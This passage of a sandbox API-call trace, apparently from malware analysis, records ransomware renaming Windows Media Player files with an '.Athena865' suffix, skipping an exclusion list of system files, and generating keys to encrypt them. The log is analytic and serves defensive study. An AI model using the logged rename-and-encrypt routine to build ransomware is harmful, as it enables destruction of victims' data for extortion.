ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="windows") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="bootmgr") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="temp") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="pagefile.sys") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="boot") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ids.txt") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ntuser.dat") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="perflogs") returned 1 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2="MSBuild") returned 1 [0040.828] lstrlenW (lpString="wmpenc.exe") returned 10 [0040.828] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpenc.exe" | out: lpString1="wmpenc.exe") returned="wmpenc.exe" [0040.828] lstrlenW (lpString="wmpenc.exe") returned 10 [0040.828] lstrlenW (lpString="Athena865") returned 9 [0040.828] lstrcmpiW (lpString1="mpenc.exe", lpString2="Athena865") returned 1 [0040.828] lstrlenW (lpString=".dll") returned 4 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".dll") returned 1 [0040.828] lstrlenW (lpString=".lnk") returned 4 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".lnk") returned 1 [0040.828] lstrlenW (lpString=".ini") returned 4 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".ini") returned 1 [0040.828] lstrlenW (lpString=".sys") returned 4 [0040.828] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".sys") returned 1 [0040.828] lstrlenW (lpString="wmpenc.exe") returned 10 [0040.828] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpenc.exe.Athena865") returned 58 [0040.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpenc.exe" (normalized: "c:\\program files\\windows media player\\wmpenc.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpenc.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpenc.exe.athena865"), dwFlags=0x1) returned 1 [0040.829] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpenc.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpenc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.829] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27648) returned 1 [0040.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.830] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.830] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.830] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.831] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f00, lpName=0x0) returned 0x17c [0040.832] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f00) returned 0x100000 [0040.833] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.834] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.834] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.835] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.835] CloseHandle (hObject=0x17c) returned 1 [0040.835] CloseHandle (hObject=0x154) returned 1 [0040.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="windows") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="bootmgr") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="temp") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="pagefile.sys") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="boot") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ids.txt") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ntuser.dat") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="perflogs") returned 1 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2="MSBuild") returned 1 [0040.837] lstrlenW (lpString="wmplayer.exe") returned 12 [0040.837] lstrcpyW (in: lpString1=0x241e894, lpString2="wmplayer.exe" | out: lpString1="wmplayer.exe") returned="wmplayer.exe" [0040.837] lstrlenW (lpString="wmplayer.exe") returned 12 [0040.837] lstrlenW (lpString="Athena865") returned 9 [0040.837] lstrcmpiW (lpString1="layer.exe", lpString2="Athena865") returned 1 [0040.837] lstrlenW (lpString=".dll") returned 4 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".dll") returned 1 [0040.837] lstrlenW (lpString=".lnk") returned 4 [0040.837] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".lnk") returned 1 [0040.837] lstrlenW (lpString=".ini") returned 4 [0040.838] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".ini") returned 1 [0040.838] lstrlenW (lpString=".sys") returned 4 [0040.838] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".sys") returned 1 [0040.838] lstrlenW (lpString="wmplayer.exe") returned 12 [0040.838] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmplayer.exe.Athena865") returned 60 [0040.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files\\windows media player\\wmplayer.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmplayer.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmplayer.exe.athena865"), dwFlags=0x1) returned 1 [0040.838] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmplayer.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmplayer.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.838] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=167424) returned 1 [0040.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.839] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.840] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.840] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.840] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29100, lpName=0x0) returned 0x17c [0040.841] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29100) returned 0x170000 [0040.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.848] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.848] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.848] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0040.850] CloseHandle (hObject=0x17c) returned 1 [0040.850] CloseHandle (hObject=0x154) returned 1 [0040.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.853] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="windows") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="bootmgr") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="temp") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="pagefile.sys") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="boot") returned 1 [0040.853] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ids.txt") returned 1 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ntuser.dat") returned 1 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="perflogs") returned 1 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="MSBuild") returned 1 [0040.854] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0040.854] lstrcpyW (in: lpString1=0x241e894, lpString2="WMPMediaSharing.dll" | out: lpString1="WMPMediaSharing.dll") returned="WMPMediaSharing.dll" [0040.854] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0040.854] lstrlenW (lpString="Athena865") returned 9 [0040.854] lstrcmpiW (lpString1="aring.dll", lpString2="Athena865") returned -1 [0040.854] lstrlenW (lpString=".dll") returned 4 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".dll") returned 1 [0040.854] lstrlenW (lpString=".lnk") returned 4 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".lnk") returned 1 [0040.854] lstrlenW (lpString=".ini") returned 4 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".ini") returned 1 [0040.854] lstrlenW (lpString=".sys") returned 4 [0040.854] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".sys") returned 1 [0040.854] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0040.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\WMPMediaSharing.dll.Athena865") returned 67 [0040.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\WMPMediaSharing.dll" (normalized: "c:\\program files\\windows media player\\wmpmediasharing.dll"), lpNewFileName="C:\\Program Files\\Windows Media Player\\WMPMediaSharing.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpmediasharing.dll.athena865"), dwFlags=0x1) returned 1 [0040.855] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\WMPMediaSharing.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpmediasharing.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.855] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=163840) returned 1 [0040.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.855] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.856] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.856] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.856] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28300, lpName=0x0) returned 0x17c [0040.857] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28300) returned 0x170000 [0040.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.864] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.864] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.865] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0040.866] CloseHandle (hObject=0x17c) returned 1 [0040.866] CloseHandle (hObject=0x154) returned 1 [0040.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.869] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".") returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="..") returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="windows") returned 1 [0040.869] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="bootmgr") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="temp") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="pagefile.sys") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="boot") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="ids.txt") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="ntuser.dat") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="perflogs") returned 1 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="MSBuild") returned 1 [0040.870] lstrlenW (lpString="wmpnetwk.exe") returned 12 [0040.870] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpnetwk.exe" | out: lpString1="wmpnetwk.exe") returned="wmpnetwk.exe" [0040.870] lstrlenW (lpString="wmpnetwk.exe") returned 12 [0040.870] lstrlenW (lpString="Athena865") returned 9 [0040.870] lstrcmpiW (lpString1="netwk.exe", lpString2="Athena865") returned 1 [0040.870] lstrlenW (lpString=".dll") returned 4 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".dll") returned 1 [0040.870] lstrlenW (lpString=".lnk") returned 4 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".lnk") returned 1 [0040.870] lstrlenW (lpString=".ini") returned 4 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".ini") returned 1 [0040.870] lstrlenW (lpString=".sys") returned 4 [0040.870] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".sys") returned 1 [0040.870] lstrlenW (lpString="wmpnetwk.exe") returned 12 [0040.870] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe.Athena865") returned 60 [0040.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe.athena865"), dwFlags=0x1) returned 1 [0040.871] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.871] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1525248) returned 1 [0040.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.871] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.872] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.872] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.872] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x174900, lpName=0x0) returned 0x17c [0040.873] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x174900) returned 0x2d50000 [0041.018] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.019] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.019] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.020] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0041.033] CloseHandle (hObject=0x17c) returned 1 [0041.033] CloseHandle (hObject=0x154) returned 1 [0041.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.060] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.061] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".") returned 1 [0041.061] lstrcmpiW 